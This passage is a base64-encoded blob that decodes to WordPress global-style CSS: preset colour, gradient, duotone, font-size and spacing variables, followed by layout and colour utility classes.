gLS13cC0tcHJlc2V0LS1jb2xvci0tcHJpbWFyeTogIzIyMjUyOTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXNlY29uZGFyeTogI2VlODM3OTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXRlcnRpYXJ5OiAjMmJhYWIxOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcXVhdGVybmFyeTogIzM4M2Y0ODsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWRhcms6ICMyMjI1Mjk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodDogI2ZmZmZmZjsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGU6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYmEoNiwgMTQ3LCAyMjcsIDEpIDAlLCByZ2IoMTU1LCA4MSwgMjI0KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbjogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDEyMiwgMjIwLCAxODApIDAlLCByZ2IoMCwgMjA4LCAxMzApIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtYW1iZXItdG8tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1MiwgMTg1LCAwLCAxKSAwJSwgcmdiYSgyNTUsIDEwNSwgMCwgMSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1vcmFuZ2UtdG8tdml2aWQtcmVkOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1NSwgMTA1LCAwLCAxKSAwJSwgcmdiKDIwNywgNDYsIDQ2KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZlcnktbGlnaHQtZ3JheS10by1jeWFuLWJsdWlzaC1ncmF5OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjM4LCAyMzgsIDIzOCkgMCUsIHJnYigxNjksIDE4NCwgMTk1KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWNvb2wtdG8td2FybS1zcGVjdHJ1bTogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDc0LCAyMzQsIDIyMCkgMCUsIHJnYigxNTEsIDEyMCwgMjA5KSAyMCUsIHJnYigyMDcsIDQyLCAxODYpIDQwJSwgcmdiKDIzOCwgNDQsIDEzMCkgNjAlLCByZ2IoMjUxLCAxMDUsIDk4KSA4MCUsIHJnYigyNTQsIDI0OCwgNzYpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tYmx1c2gtbGlnaHQtcHVycGxlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDYsIDIzNikgMCUsIHJnYigxNTIsIDE1MCwgMjQwKSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU0LCAyMDUsIDE2NSkgMCUsIHJnYigyNTQsIDQ1LCA0NSkgNTAlLCByZ2IoMTA3LCAwLCA2MikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy1kdXNrOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDMsIDExMikgMCUsIHJnYigxOTksIDgxLCAxOTIpIDUwJSwgcmdiKDY1LCA4OCwgMjA4KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXBhbGUtb2NlYW46IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYigyNTUsIDI0NSwgMjAzKSAwJSwgcmdiKDE4MiwgMjI3LCAyMTIpIDUwJSwgcmdiKDUxLCAxNjcsIDE4MSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1lbGVjdHJpYy1ncmFzczogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIwMiwgMjQ4LCAxMjgpIDAlLCByZ2IoMTEzLCAyMDYsIDEyNikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1taWRuaWdodDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIsIDMsIDEyOSkgMCUsIHJnYig0MCwgMTE2LCAyNTIpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1kYXJrLWdyYXlzY2FsZTogdXJsKCcjd3AtZHVvdG9uZS1kYXJrLWdyYXlzY2FsZScpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ncmF5c2NhbGU6IHVybCgnI3dwLWR1b3RvbmUtZ3JheXNjYWxlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLXB1cnBsZS15ZWxsb3c6IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ibHVlLXJlZDogdXJsKCcjd3AtZHVvdG9uZS1ibHVlLXJlZCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1taWRuaWdodDogdXJsKCcjd3AtZHVvdG9uZS1taWRuaWdodCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1tYWdlbnRhLXllbGxvdzogdXJsKCcjd3AtZHVvdG9uZS1tYWdlbnRhLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1wdXJwbGUtZ3JlZW46IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLWdyZWVuJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLWJsdWUtb3JhbmdlOiB1cmwoJyN3cC1kdW90b25lLWJsdWUtb3JhbmdlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tc21hbGw6IDEzcHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbWVkaXVtOiAyMHB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLWxhcmdlOiAzNnB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXgtbGFyZ2U6IDQycHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTIwOiAwLjQ0cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS0zMDogMC42N3JlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tNDA6IDFyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTUwOiAxLjVyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTYwOiAyLjI1cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS03MDogMy4zOHJlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tODA6IDUuMDZyZW07DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDAuNWVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25sZWZ0IHsNCiAgICAgICAgICAgIGZsb2F0OiBsZWZ0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAyZW07DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxvdyA+IC5hbGlnbnJpZ2h0IHsNCiAgICAgICAgICAgIGZsb2F0OiByaWdodDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAwOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWdubGVmdCB7DQogICAgICAgICAgICBmbG9hdDogbGVmdDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDA7DQogICAgICAgICAgICBtYXJnaW4taW5saW5lLWVuZDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWducmlnaHQgew0KICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMmVtOw0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1lbmQ6IDA7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gOndoZXJlKDpub3QoLmFsaWdubGVmdCk6bm90KC5hbGlnbnJpZ2h0KTpub3QoLmFsaWduZnVsbCkpIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLWNvbnRlbnQtc2l6ZSk7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiBhdXRvICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ253aWRlIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLXdpZGUtc2l6ZSk7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxleCB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsZXggew0KICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KDQogICAgICAgIGJvZHkgLmlzLWxheW91dC1mbGV4ID4gKiB7DQogICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLndwLWJsb2NrLWNvbHVtbnMuaXMtbGF5b3V0LWZsZXgpIHsNCiAgICAgICAgICAgIGdhcDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1ibGFjay1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1jeWFuLWJsdWlzaC1ncmF5LWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS13aGl0ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1waW5rLWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1yZWQtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLW9yYW5nZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbHVtaW5vdXMtdml2aWQtYW1iZXItY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1hbWJlcikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbGlnaHQtZ3JlZW4tY3lhbi1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1ncmVlbi1jeWFuKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLWN5YW4tYmx1ZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLXB1cnBsZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtYmxhY2stYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tYmxhY2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWN5YW4tYmx1aXNoLWdyYXktYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0td2hpdGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtcGluay1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLXBpbmspICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXJlZC1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLWFtYmVyKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1saWdodC1ncmVlbi1jeWFuLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1jeWFuLWJsdWUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWN5YW4tYmx1ZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsYWNrLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1ibGFjaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtY3lhbi1ibHVpc2gtZ3JheS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLXBpbmstYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtcGluaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtcmVkLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy12aXZpZC1hbWJlci1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXIpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLWN5YW4tYmx1ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtdG8tdml2aWQtcHVycGxlLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbi1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1saWdodC1ncmVlbi1jeWFuLXRvLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLXRvLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1hbWJlci10by1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS10by12aXZpZC1yZWQtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtb3JhbmdlLXRvLXZpdmlkLXJlZCkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXktZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXkpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWNvb2wtdG8td2FybS1zcGVjdHJ1bS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1jb29sLXRvLXdhcm0tc3BlY3RydW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWxpZ2h0LXB1cnBsZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1ibHVzaC1saWdodC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWJvcmRlYXV4LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy1kdXNrLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWx1bWlub3VzLWR1c2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtb2NlYW4tZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tcGFsZS1vY2VhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtZWxlY3RyaWMtZ3Jhc3MtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tZWxlY3RyaWMtZ3Jhc3MpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLW1pZG5pZ2h0LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLW1pZG5pZ2h0KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1zbWFsbC1mb250LXNpemUgew0KICAgICAgICAgICAgZm9udC1zaXplOiB2YXIoLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXNtYWxsKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1tZWRpdW0tZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS1tZWRpdW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxhcmdlLWZvbnQtc2l6ZSB7DQogICAgICAgICAgICBmb250LXNpemU6IHZhcigtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbGFyZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXgtbGFyZ2UtZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS14LWxhcmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgI